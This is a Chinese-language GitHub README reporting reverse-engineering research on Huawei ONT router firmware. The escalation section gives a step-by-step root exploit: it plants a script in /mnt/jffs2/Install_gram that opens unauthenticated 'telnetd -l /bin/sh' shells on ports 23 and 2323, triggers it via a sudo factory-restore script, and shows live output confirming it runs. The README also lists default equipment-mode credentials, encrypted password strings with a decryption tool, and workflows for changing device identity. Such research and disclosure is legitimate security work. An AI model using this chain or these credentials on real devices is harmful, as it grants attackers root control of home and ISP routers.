coolrecep/Huawei-ONT-Firmware-Reverse-Engineering-Research

GitHub: coolrecep/Huawei-ONT-Firmware-Reverse-Engineering-Research

这是一份对华为ONT路由器固件进行完整逆向分析的研究文档,包括文件系统提取、权限提升、加密材料破解及ONTS工具包解析。

Stars: 0 | Forks: 0

# 华为 ONT 固件——逆向工程研究 ## 目录 - [设备概述](#device-overview) - [固件识别](#firmware-identification) - [仓库结构](#repository-structure) - [NAND Flash 布局](#nand-flash-layout) - [文件系统提取](#filesystem-extraction) - [系统架构](#system-architecture) - [用户与权限模型](#user--permission-model) - [权限提升——Root 访问](#privilege-escalation--root-access) - [加密材料(R021-KriptoMaden)](#cryptographic-material-r021-kriptomaden) - [ONTS 工具包分析](#onts-toolkit-analysis) - [R23R24 品牌重塑工具包](#r23r24-rebranding-toolkit) - [配置与密码加密工具](#configuration--password-cryptographic-tool) - [HWNP 二进制格式](#hwnp-binary-format) - [OSBC 刷写协议](#osbc-flash-protocol) - [网络服务](#network-services) - [使用的工具](#tools-used) - [关键发现总结](#key-findings-summary) ## 设备概述 | 字段 | 值 | |------|-----| | **制造商** | 华为技术有限公司 | | **操作系统** | Dopra Linux(VRP 平台) | | **内核** | Linux 4.4.240(gcc 7.3.0,Compiler CPU V200R006C10SPC010B002) | | **架构** | ARM(部分子系统为 MIPS) | | **Flash 类型** | SPI-NAND(hinand),512 MB(`0x20000000`) | | **RAM** | 494 MB(Linux 可见) | | **根文件系统** | SquashFS(只读) | | **持久化存储** | JFFS2,挂载于 `/mnt/jffs2/` | | **启动 ROM** | `bootcode` 位于 MTD0(2 MB) | | **Bootloader** | 支持 A/B 轮换的 U-Boot | | **固件版本(dump)** | V500R022C10 | | **固件版本(live shell)** | V500R020C00SPC080B160 | | **PON 支持** | GPON + EPON(双模) | ### 内核启动参数 ``` noalign mem=494M flashsize=0x20000000 console=ttyAMA1,115200 root=/dev/mtdblock7 rootflags=image_off=0x28c094 rootfstype=squashfs mtdparts=hinand:0x200000(bootcode)raw,0x1fe00000(ubilayer_v5) ubi.mtd=1 maxcpus=2 l2_cache=l2x0 coherent_pool=4M flash_control=fmc flash_chip=spinand ``` ## 固件识别 固件镜像使用华为 X.509 证书签名: ``` Issuer: Huawei Code Signing Certificate Authority CA Root: Huawei Root CA (valid 2015–2025) ``` SHA-256 组件哈希(R019 基线): | 组件 | SHA-256 | |------|---------| | kernel | `447ea445917ed0eb174aee478cd9bf99e10ca520d9e5f584f476dab503c7ba80` | | uboot | `613b67fab10c0288fae9d364c4afec9d0f1c7dd92db5a30df893cdbc63e78ba7` | | rootfs | `dca915a246ab58e2a9890f0cab8a7eebb42a37d264c9838e46b7a3ea5b3d16e4` | | exrootfs | `a97b7253a9f99699b7c3cbb2185344f8b2af47a82bcc172b13cfa844d458079d` | ## 仓库结构 ``` Firmware/ ├── README.md # Main research overview (this file) ├── Root.md # Full live-shell research notes (2378 lines) ├── docs/ # Detailed sub-reports & installation guides │ ├── Crypto_Extraction_Report.md │ ├── Final_Crypto_Analysis_Report.md │ ├── busybox_usb_installation_guide.md │ ├── complete_busybox_usb_guide.md │ ├── crypto_reverse_engineering_report.md │ ├── huaweiXML_CFG_Analysis_Report.md # Analysis of huaweiXML_CFG.exe config & password crypto │ ├── huawei_xt26g04c_dump9_Analysis_Report.md # Analysis of XT26G04C NAND flash dump │ ├── hw_ctree_2_Analysis_Report.md # Analysis & Decryption of hw_ctree_2.xml configuration │ ├── hw_flashcfg_Analysis_Report.md # Analysis & Comparison of flash partition layouts │ ├── hw_flashcfg_shaopian.xml # Flash layout spec (Standard 2K page) │ ├── hw_flashcfg_shaopian_4k.xml # Flash layout spec (Modern 4K page) │ ├── router_key_status.md │ ├── router_web_interface_analysis.md │ ├── verified_suser_passwords.md # Summary of extracted & verified sUser passwords │ └── web_interface_version_analysis.md ├── scripts/ # Organized reverse engineering python/shell scripts │ ├── extraction/ # Flash dump scanning & SquashFS extraction scripts │ ├── root_telnet/ # Privilege escalation & telnet access triggers │ ├── crypto/ # Key crack bruteforce, decompilation mock sources & hooks │ │ ├── huawei_xml_cfg_tool.py # Standalone python clone of huaweiXML_CFG.exe │ │ └── ... │ └── web/ # Web interface session tools & brute-forcing ├── libs/ # Shared object libraries extracted from firmware │ ├── libc.so │ ├── libhw_smp_capi.so │ ├── libl3_base_api.so │ ├── libmbedcrypto.so │ └── libmbedtls.so ├── R021-KriptoMaden/ # Cryptographic material extracted from firmware │ ├── dropbear_rsa_host_key # Dropbear RSA host key (872 bytes) │ ├── kmc_store_A # KMC encrypted store A (1698 bytes) │ ├── kmc_store_B # KMC store B (redundant copy) │ ├── servercert.pem # Server certificate (binary blob, 2736 bytes) │ ├── su_pub_key # Superuser public key (126 bytes) │ ├── diagchar.ko # Diagnostic char device kernel module │ ├── ftm # Factory Test Mode binary (ARM ELF) │ ├── hw_boardinfo # Board identity (KM-magic prefix) │ └── weakpwdlist.cfg # Weak password blocklist (4104 bytes) ├── ONTS/ # ONT provisioning & firmware flashing toolkit │ ├── R019_allShell.bin # R019 all-section shell bundle │ ├── allshell2.bin # Minimal shell bundle (product 734) │ ├── allshell4.bin # Extended ARM ELF + flash layout XML │ ├── allshell/ │ │ ├── r017.bin # R017 shell patch │ │ ├── r019.bin # R019 shell patch (Huawei-signed) │ │ └── r020.bin # R020 shell patch │ ├── R22/ │ │ └── R22开telnet.bin # Full firmware → enables Telnet (1.8 MB) │ ├── R23/ │ │ ├── ONT_V100R002C00SPC253.exe │ │ ├── r23补全包.bin # R23 completion bundle (115 KB) │ │ ├── 刷公版命令改3码命令.pdf # Flash + recode 3 IDs guide (Chinese) │ │ └── log/ # OSBCToolClient operation logs │ └── Tool/ │ ├── HW Dollar2.exe │ ├── ONT-V3-V5.exe │ ├── huawei.exe │ ├── putty.exe │ ├── tftpd64.exe │ ├── hwmtd.zip │ └── shell/ # R22/R24 firmware shell payloads ├── R23R24/ # China Unicom ISP rebranding & provisioning toolkit │ ├── HS8545M5_V500R020C00SPC200B459.bin # Full HWNP firmware (54 MB) │ ├── R24补全包.bin # R24 completion bundle (TelnetEnable + EquipMode) │ ├── shell9.bin # R019 HWNP shell patch │ ├── unicom.tar.gz # China Unicom province configs (30+ provinces) │ ├── customizepara.txt # Board identity 3-code parameters │ ├── 必看步骤.jpg # Visual step-by-step guide (Chinese) │ ├── 一键操作.bat # One-click TFTP + boardinfo replace + reboot │ ├── 一键打开装备模式*.bat # Enable Equipment Mode (2 IP variants) │ ├── 一键关闭装备模式.bat # Disable Equipment Mode + reboot │ ├── 开启电脑telnet.bat # Enable Windows Telnet/TFTP + aux IP setup │ ├── ONT_V100R002C00SPC253.exe # ONT management GUI │ ├── HW Dollar2.exe # hw_boardinfo identity editor (.NET) │ ├── tftpd32.exe # TFTP server (32-bit) │ └── 华为配置加解密工具.exe # Config encrypt/decrypt tool (UPX packed) ├── rootfs.squashfs # Primary rootfs image (81 MB, Git LFS) ├── rootfs2.squashfs # Secondary rootfs image (42 MB, Git LFS) ├── 20260518_140638_TC58CVG2S0HRA.bin # Full NAND dump (512 MB, excluded) ├── huawei_xt26g04c_dump9.bin # Raw XT26G04C NAND flash dump (512 MB, Git LFS) ├── hw_ctree.xml # Decrypted XML configuration tree (198 KB) ├── hw_ctree.xml.enc # Encrypted XML configuration tree (33 KB) ├── hw_ctree_2.xml # Second decrypted XML configuration tree (198 KB) └── TC58CVG2S0HRAIG.PDF # NAND flash chip datasheet ``` ## NAND Flash 布局 关于标准与 4K 页面布局的原始 XML 分区定义及边界详情,请参见 [Flash 配置分析报告](file:///home/recep/Masaüstü/Firmware/docs/hw_flashcfg_Analysis_Report.md)。 ### 1. SPI-NAND:TC58CVG2S0HRA — 总共 512 MB ``` SPI-NAND: TC58CVG2S0HRA — 512 MB total ┌─────────────────┬────────────┬────────────┬──────────────────────────┐ │ Partition │ Start │ Size │ Contents │ ├─────────────────┼────────────┼────────────┼──────────────────────────┤ │ bootcode (raw) │ 0x00000000 │ 0x00200000 │ Boot ROM (2 MB) │ │ ubilayer_v5 │ 0x00200000 │ 0x1FE00000 │ UBI container (510 MB) │ └─────────────────┴────────────┴────────────┴──────────────────────────┘ ``` ### 2. SPI-NAND:XT26G04C — 总共 512 MB ``` SPI-NAND: XT26G04C — 512 MB total (from `huawei_xt26g04c_dump9.bin`) ┌─────────────────┬────────────┬────────────┬──────────────────────────┐ │ Partition │ Start │ Size │ Contents │ ├─────────────────┼────────────┼────────────┼──────────────────────────┤ │ startcode (raw) │ 0x00000000 │ 0x00200000 │ Startcode (2 MB) │ │ ubifs │ 0x00200000 │ 0x1FE00000 │ UBI container (510 MB) │ └─────────────────┴────────────┴────────────┴──────────────────────────┘ ``` **`ubilayer_v5` 内的 UBI 卷:** | 卷 | 内容 | |----|------| | vol_0 | U-Boot(副本 A) | | vol_1 | U-Boot(副本 B) | | vol_2 | 内核(副本 A) | | vol_3 | 内核(副本 B) | | vol_4 | **SquashFS rootfs(主副本)** ← 提取目标 | | vol_5 | SquashFS rootfs(副本 B) | | vol_6 | JFFS2 文件系统(`/mnt/jffs2/`) | | vol_7 | Flash 配置(A/B) | **根据嵌入式 XML 规范的 Flash 布局(128 MB NAND 变体):** ``` startcode 0x00020000 (128 KB) uboot A/B 0x00080000 (512 KB each) flash_cfg A/B 0x00020000 (128 KB each) kernel A/B 0x00300000 (3 MB each) rootfs A/B 0x01C00000 (28 MB each) [256 MB variant: 40 MB each] wifi_param 0x00020000 (128 KB) system_param 0x00020000 (128 KB) file_system 0x01400000 (20 MB) ``` ## 文件系统提取 **使用的工具:** `sasquatch`(处理华为 LZMA 变体),自定义 Python 脚本 ``` # 在 NAND dump 中定位 SquashFS 签名 python3 scripts/extraction/find_hsqs_vol4.py # 提取 primary rootfs(Huawei-variant SquashFS) sasquatch -p 1 -le -dest rootfs_extract/ volume_4_squashfs.bin # 提取 secondary rootfs sasquatch -p 1 -le -dest rootfs_extract2/ volume_5_squashfs.bin ``` 关键文件系统路径: ``` /bin/ — System binaries (BusyBox + Huawei custom) /etc/rc.d/rc.start/ 0.wap_init.sh — WAP platform initialization 1.sdk_init.sh — SDK init (calls audit framework) /etc/wap/customize/china/ — ISP customization (CMCC, Unicom, CNC, etc.) /mnt/jffs2/ — Writable JFFS2 (survives reboot) Install_gram/ — Audit agent dir ← exploit write target hw_ctree.xml — Main configuration tree kmc_store_A / kmc_store_B — KMC cryptographic stores hw_boardinfo — Encrypted board identity ``` ## 系统架构 ### 启动链 ``` Power-On │ ▼ bootcode (MTD0, 2 MB raw) │ ▼ U-Boot (A/B rotation) │ ▼ Linux 4.4.240 (ARM SMP, 2 cores) │ ▼ init (PID 1) ├─► 0.wap_init.sh — Platform init └─► 1.sdk_init.sh — SDK init │ └─► ssmp (srv_ssmp) │ └─► AUDIT_StartOnBoot() │ └── if /mnt/jffs2/Install_gram/control_audit.sh exists: cd /mnt/jffs2/Install_gram ./control_audit.sh --start ``` ### 关键二进制文件 | 二进制文件 | 功能 | |-----------|------| | `/bin/ssmp` | SSMP 守护进程——调用 `control_audit.sh` | | `/bin/audit` | 审计下载器——获取并运行 `control_audit.sh` | | `/bin/qoe` | QoE 监控——也调用 `control_audit.sh` | | `/bin/hw_restore_manufactory_exec.sh` | 恢复出厂设置(通过 sudo 以 **root** 身份运行) | | `/bin/restorehwmode.sh` | 硬件模式恢复(通过 sudo 以 **root** 身份运行) | | `/bin/keyfilemng` | 密钥文件管理 | ## 用户与权限模型 ### `/etc/passwd`(节选) ``` root:*:0:0:root:/root:/sbin/nologin ← interactive login disabled srv_ssmp:x:3008:2002:hw_srv_ssmp:...:/bin/false srv_clid:x:3030:2002:hw_srv_clid:...:/bin/false ← write access to /mnt/jffs2/ srv_kmc:x:3020:500:hw_srv_kmc:...:/bin/false ← owns kmc_store files ``` ### sudo 规则(安全相关) ``` # Factory restore — 无需密码,以 root 身份运行 (root) NOPASSWD: /bin/hw_restore_manufactory_exec.sh, /bin/restorehwmode.sh # 密钥管理 (root) NOPASSWD: /bin/keyfilemng save, /bin/keyfilemng check # 重启 + 自定义 (root) NOPASSWD: /sbin/reboot, /bin/customize_del_file.sh, /bin/create_factory_file.sh # 环境保留(injection vector) (root) SETENV: NOPASSWD: /bin/ubus, /usr/sbin/saf-huawei ``` ## 权限提升——Root 访问 ### 漏洞链 ``` [srv_clid user] │ │ write to /mnt/jffs2/ (writable by srv_clid, gid 2002) ▼ /mnt/jffs2/Install_gram/control_audit.sh ← attacker-controlled script │ │ called by hw_restore_manufactory_exec.sh (via sudo, as root) ▼ [root code execution] ``` ### 步骤 **1. 创建目录并植入 payload:** ``` mkdir -p /mnt/jffs2/Install_gram chmod 755 /mnt/jffs2/Install_gram cat > /mnt/jffs2/Install_gram/control_audit.sh << 'EOF' #!/bin/sh LOG="/tmp/payload.log" echo "$(date) control_audit $1" >> $LOG case "$1" in --stop) killall -q telnetd 2>/dev/null ;; *) telnetd -l /bin/sh -p 2323 2>/dev/null & telnetd -l /bin/sh -p 23 2>/dev/null & echo "$(date) telnetd started" >> $LOG ;; esac EOF chmod 755 /mnt/jffs2/Install_gram/control_audit.sh ``` **2. 以 root 身份触发:** ``` sudo /bin/hw_restore_manufactory_exec.sh & ``` **3. 连接:** ``` telnet 192.168.1.1 2323 # → uid=0(root) shell ``` ### 确认的实时执行 ``` WAP(Dopra Linux) # chmod 755 /mnt/jffs2/Install_gram WAP(Dopra Linux) # /mnt/jffs2/Install_gram/control_audit.sh --start WAP(Dopra Linux) # cat /tmp/payload.log Thu Jan 1 01:51:59 UTC 1981 control_audit --start Thu Jan 1 01:51:59 UTC 1981 telnetd started WAP(Dopra Linux) # netstat -tlnp Proto Local Address State tcp 127.0.0.1:2323 LISTEN ← shell listener active tcp 192.168.1.1:22 LISTEN tcp 192.168.1.1:443 LISTEN ``` ### 所有调用 `control_audit.sh` 的二进制文件 | 二进制文件 | 调用方式 | |-----------|----------| | `/bin/audit` | `cd /mnt/jffs2/Install_gram; ./control_audit.sh --start` | | `/bin/ssmp` | `/mnt/jffs2/Install_gram/control_audit.sh` | | `/bin/qoe` | `cd /mnt/jffs2/Install_gram; ./control_audit.sh --start` | | `/bin/hw_restore_manufactory_exec.sh` | `control_audit.sh --stop`(以 root 身份) | | `/bin/restorehwmode.sh` | `control_audit.sh --stop`(以 root 身份)## 加密材料(R021-KriptoMaden) ### 文件清单 | 文件 | 大小 | 描述 | |------|------|------| | `dropbear_rsa_host_key` | 872 B | SSH RSA 主机私钥(华为封装) | | `kmc_store_A` | 1698 B | KMC 加密存储(硬件支持) | | `kmc_store_B` | 1698 B | KMC 存储 B(冗余副本) | | `servercert.pem` | 2736 B | 二进制 blob(非标准 PEM/DER) | | `su_pub_key` | 126 B | 超级用户 RSA 公钥 | | `diagchar.ko` | 89503 B | KMC 接口内核模块 | | `ftm` | 18590 B | 工厂测试模式二进制 | | `hw_boardinfo` | 210 B | 板卡标识(带 KM 魔数前缀) | | `weakpwdlist.cfg` | 4104 B | 密码黑名单 | ### KMC 架构 ``` kmc_store_A/B │ ▼ srv_kmc (uid 3020, gid kmc) │ ▼ /dev/diagchar ← diagchar.ko │ ▼ KMC hardware chip (decryption oracle) ``` 密钥由硬件保护。在没有物理芯片的情况下,无法通过软件提取。 ### Dropbear 密钥状态 `dropbear_rsa_host_key` **未使用**标准的 Dropbear 0.53+ 格式: ``` Hex: 6803 0000 0000 0000 0100 0000 8338 f053 ... ``` `dropbearconvert` 返回 `"Exited: String too long"`——密钥在存储前被封装在华为专有容器中。 ## ONTS 工具包分析 ### HWNP Shell Payload 二进制文件 | 文件 | 目标路径 | 用途 | |------|----------|------| | `R019_allShell.bin` | `/mnt/jffs2/TelnetEnable` | 在 R019 上启用 Telnet | | `allshell/r017.bin` | `/mnt/jffs2/hw_hardinfo_feature` | 打补丁 feature 标志 | | `allshell/r019.bin` | `/mnt/jffs2/hw_hardinfo_feature` | R019 签名 feature 补丁 | | `R22/R22开telnet.bin` | 完整固件镜像 | **在 R22 硬件上打开 Telnet** | | `R23/r23补全包.bin` | 部分镜像 | R23 补全包 | | `Tool/shell/R24_zhuangbei_gaihuawei.bin` | 部分镜像 | R24 装备 + 品牌改为华为 | ### 按版本兼容的产品 ID | 版本 | 兼容产品 ID | |------|------------| | R017 | 767, 323, 353, 343, 393, 373, 3A3, 3E3, 3C3, 333, 734, 627, 1029, 377, 397, 1007, 1027, 1067, 10F7, 10C7, B79, BB9 | | R019 | 148C, 15BD, 15FE | | R023+ | 50+ product IDs including 131–B17, 734, 1029 | ### 操作日志——真实设备会话 ``` Device: 028HHFHYM4004155 (MAC: 482C-D05F-1EA3) — 2026-05-16 Operations: OpenTelnet ×10, UpgradeBin ×12 Device: AG24B1552398 (MAC: 00E0-FC55-2398) — 2025-12-14 Operations: UpgradeBin ×1, CloseTelnet ×6 ``` ## R23R24 品牌重塑工具包 `R23R24/` 文件夹包含一个**完整的中国联通 ISP 品牌重塑和配置工具包**,适用于运行固件版本 R023–R024 的华为 ONT 设备。 ### HWNP Payloads | 文件 | 版本 | 目标产品 | Flash 目标 | 用途 | |------|------|---------|------------|------| | `HS8545M5_V500R020C00SPC200B459.bin` | V500R020C00SPC200B459 | `147C\|149C\|14ED\|14FD` + CMCC | `flash:uboot`, `flash:kernel`, `flash:rootfs` + 插件 | HS8545M5 完整固件镜像(54 MB) | | `R24补全包.bin` | R024 | 30+ 产品 ID(`120\|130\|140\|...\|431`) | `file:/mnt/jffs2/TelnetEnable`, `file:/mnt/jffs2/equipment.tar.gz` | 启用 Telnet + 装备模式 | | `shell9.bin` | V500R019C20SPC105B120 | `147C\|148C\|14ED\|15BD\|182F` | `file:/var/signature` | Shell 补丁——写入 `hw_hardinfo_feature` 以启用 CLI 中国模式 | ### 中国联通省份定制(`unicom.tar.gz`) 包含中国联通(联通)**所有省份**的 ISP 特定默认配置: ``` unicom.tar.gz/ ├── choose/ # Operator selection XML ├── customize/ # 30+ province-specific configs with CRC checksums │ ├── hw_default_bjunicom.xml (Beijing) │ ├── hw_default_shcu.xml (Shanghai) │ ├── hw_default_gdcu.xml (Guangdong) │ └── ... (all provinces) ├── hw_boardinfo # Pre-configured board identity └── hw_default_ctree.xml # Default configuration tree ``` ### 自动化批处理脚本 | 脚本 | 用途 | |------|------| | `开启电脑telnet.bat` | 启用 Windows Telnet/TFTP 客户端,添加辅助 IP `192.168.100.2/24` | | `一键打开装备模式192.168.1.1.bat` | Telnet → `root`/`Admin123` → `su` → `EquipMode.sh on` → `reset` | | `一键打开装备模式192.168.100.1.bat` | Telnet → `root`/`admin` → `su` → `EquipMode.sh on` → `reset` | | `一键关闭装备模式.bat` | Telnet → `root`/`admin` → `EquipMode.sh off` → `reboot` | | `一键操作.bat` | 全一键:TFTP 备份 `hw_boardinfo` → 上传 `unicom.tar.gz` → 解压 → 重启 | ### 板卡标识配置(`customizepara.txt`) ``` 01FFFFFFFF023FFF19HWTC920A40B47E bn5m4uzz CU_Aq9b bn5m4uzz CU_Aq9b-5G bn5m4uzz ``` 字段:LOID 前缀、硬件序列号掩码、默认 WiFi 密码、SSID 前缀(`CU_xxx`)、5G SSID 后缀。 ### Windows 工具 | 工具 | 用途 | |------|------| | `HW Dollar2.exe` | `.NET` GUI 编辑器,用于 `hw_boardinfo`——修改设备标识字段(obj.id 值) | | `ONT_V100R002C00SPC253.exe` | ONT 管理 GUI(固件刷写、Telnet 开关) | | `tftpd32.exe` | TFTP 服务器,用于 PC 与路由器之间的文件传输 | | `华为配置加解密工具.exe` | 华为配置文件加解密工具(UPX 打包) | ### 默认凭据 | 上下文 | 用户名 | 密码 | |--------|--------|------| | 装备模式(`192.168.100.1`) | `root` | `admin` | | 装备模式(`192.168.1.1`) | `root` | `Admin123` | | 品牌重塑后的联通登录 | `CUAdmin` | `CUAdmin` | ## 配置与密码加密工具 文件 `R23R24/华为配置加解密工具.exe`(解包后为 `huaweiXML_CFG.exe`)用于加密和解密华为配置文件(`.enc`、`.cfg`、`hw_ctree.xml`),并解密存储的密码哈希。 为了在不执行不可信 Windows 二进制文件的情况下离线执行这些操作,我们开发了一个纯 Python 3 克隆工具:[huawei_xml_cfg_tool.py](file:///home/recep/Masaüstü/Firmware/scripts/crypto/huawei_xml_cfg_tool.py)。 有关底层加密布局、动态密钥派生、自定义 CRC-32 表和 base-93 编码算法的详细分析,请参见[华为 ONT 配置加密分析报告](file:///home/recep/Masaüstü/Firmware/docs/huaweiXML_CFG_Analysis_Report.md)。 ### Python 工具用法 #### 1. 配置解密 将加密的 `.enc` 或 `.cfg` 配置文件解密为可读 XML: ``` python3 scripts/crypto/huawei_xml_cfg_tool.py decrypt-cfg hw_ctree.xml.enc decrypted_cfg.xml ``` #### 2. 配置加密 将修改过的 XML 配置文件重新加密为有效的加密 `.enc` 文件(包括 GZIP 压缩、自定义分块 CRC-32 计算和 HMAC-SHA256 签名): ``` python3 scripts/crypto/huawei_xml_cfg_tool.py encrypt-cfg modified_cfg.xml output_ctree.xml.enc ``` #### 3. 密码解密 自动检测并解密存储的配置密码、Wi-Fi 密钥和令牌(模式 1、2 和 3): ``` # 解密 WLAN WPS DevicePassword(Mode 2) python3 scripts/crypto/huawei_xml_cfg_tool.py decrypt-pwd '$2,t}i4H/rN%*Ad^@>a#Y7n*ioL)}/a=kb7m$-K8SF$' # 解密 CLI superuser password(Mode 2) python3 scripts/crypto/huawei_xml_cfg_tool.py decrypt-pwd '$2E\c^%:rrwHfV*nC|:4-NV|#LA*#@=I@r.V(IQ-lP$' ``` ## HWNP 二进制格式 ``` Offset Size Field 0x00 4 Magic: "HWNP" 0x06 2 CRC / package length 0x08 8 Timestamp / serial 0x18 4 Header version (0x01) 0x20 ~192 Product ID list (pipe-separated, null-padded) Example: "148C|15BD|15FE|;E8C|COMMON|CHINA|CMCC|" 0x130 4 Payload data length 0x134 ~48 Target URI on device Example: "file:/mnt/jffs2/TelnetEnable" 0x230 ~16 Section name tag Example: "UPGRDCHECK", "SIGNINFO", "UNKNOWN" [data] Payload (XML, binary, or signed firmware blob) [sig] Huawei X.509 PKCS#7 signature ``` ## OSBC 刷写协议 ``` Protocol: ONT_21_PKG Packet size: 252 bytes (fixed) Frame size: 1200 bytes Frame interval: 10 ms Transport: UDP unicast Server IP: 192.168.1.20 / 192.168.100.22 (management PC) Device IP: 99.0.0.224 (ONT) MsgType 0 → [start] device returns OBSCResult 0x0 MsgType 2 → [end] device returns flash result Result codes: 0x00000000 — Handshake accepted / flash complete 0xf720404e — Authenticated flash success (OBSC challenge passed) ``` | UpgradeType | 描述 | |-------------|------| | `OpenTelnet` | 刷写以启用 Telnet | | `CloseTelnet` | 刷写以禁用 Telnet | | `UpgradeBin` | 刷写完整/部分固件 | ## 网络服务 | 端口 | 协议 | 服务 | |------|------|------| | 22 | TCP | SSH(Dropbear) | | 23 | TCP | Telnet(当 HWNP payload 启用时) | | 53 | TCP/UDP | DNS | | 80 | TCP | HTTP Web 界面 | | 443 | TCP | HTTPS Web 界面 | | 2323 | TCP | Payload shell(当漏洞激活时) | | 37225 | TCP | 内部 IPC(loopback) | | 37443/37444 | TCP | 内部管理 | | 49652–49653 | TCP | TR-069/CWMP | ## 使用的工具 ### 提取与静态分析 | 工具 | 用途 | |------|------| | `sasquatch` | SquashFS 提取(华为 LZMA 变体) | | `binwalk` | 固件签名扫描 | | `xxd` | 十六进制检查 | | `strings` | ASCII 字符串提取 | | `file` | 文件类型识别 | | Python 3 | 自定义脚本,用于 NAND 偏移量发现 | ### 加密 | 工具 | 用途 | |------|------| | `dropbearconvert` | Dropbear ↔ OpenSSH 密钥转换(从源码编译) | | `dropbearkey -y` | 从 Dropbear 密钥提取公钥 | | `openssl` | 证书/DER 检查 | ### 网络与实时访问 | 工具 | 用途 | |------|------| | PuTTY | 串口 / Telnet / SSH | | tftpd64 | TFTP 服务器,用于设备文件传输 | | netcat | Shell 中继 | | telnet | 连接 payload shells | ### 华为专用(Windows) | 工具 | 用途 | |------|------| | `ONT_V100R002C00SPC253.exe` | ONT 管理 GUI | | `ONT-V3-V5.exe` | ONT V3–V5 管理 | | `huawei.exe` | 通用 ONT 刷写工具 | | `OSBCToolClient` | 批量 ONT OBSC 刷写客户端 | | `hwmtd.zip` | MTD 分区刷写辅助工具 | ## 关键发现总结 | # | 发现 | 严重程度 | |---|------|----------| | 1 | **通过 `control_audit.sh` 获得 root shell** — 任何向 `/mnt/jffs2/` 写入的进程都可以通过 `sudo hw_restore_manufactory_exec.sh` 植入以 root 身份执行的脚本 | **严重** | | 2 | **通过 HWNP 刷写启用 Telnet** — 刷写 `TelnetEnable` payload 会在端口 23 打开未经身份验证的 Telnet | **高** | | 3 | **`disk` 组可访问 MTD 设备** — 用户空间可进行原始 NAND 读写 | **高** | | 4 | **`sudo SETENV` 配合 `ubus`** — 环境注入向量,可提升权限 | **中** | | 5 | **无 `/etc/shadow`** — 密码机制为非标准、专有 | **中** | | 6 | **OBSC 结果 `0xf720404e` 每设备静态** — 身份验证质询/响应可预测 | **中** | | 7 | **KMC 硬件支持的加密** — 加密密钥由专用芯片保护;没有硬件无法进行软件提取 | 信息性 | | 8 | **SquashFS rootfs 为只读** — 所有持久化必须通过 JFFS2 | 信息性 | | 9 | **装备模式默认凭据 `root`/`admin`** — 批处理脚本使用已知出厂密码自动登录 Telnet | **高** | | 10 | **ISP 品牌重塑工具包** — `R23R24/` 包含完整的一键工作流,用于重塑 ONT 身份(hw_boardinfo)、刷写自定义固件并覆盖中国联通省份配置 | **中** | | 11 | **配置加密/解密工具** — `华为配置加解密工具.exe` 可以解密华为配置文件,暴露所有设备设置 | **中** | *研究基于自有硬件,仅供教育和安全审计目的。*
标签:Cutter, Dopra Linux, EPON, GPON, IoT安全, JFFS2, ONT, ONTS管理工具, SquashFS, U-Boot, VRP, 二进制分析, 云安全运维, 云资产清单, 光网络终端, 华为, 协议分析, 固件分析, 固件提取, 安全测试工具, 密码学, 手动系统调用, 权限提升, 硬件安全, 网络服务, 路由器, 逆向工具, 逆向工程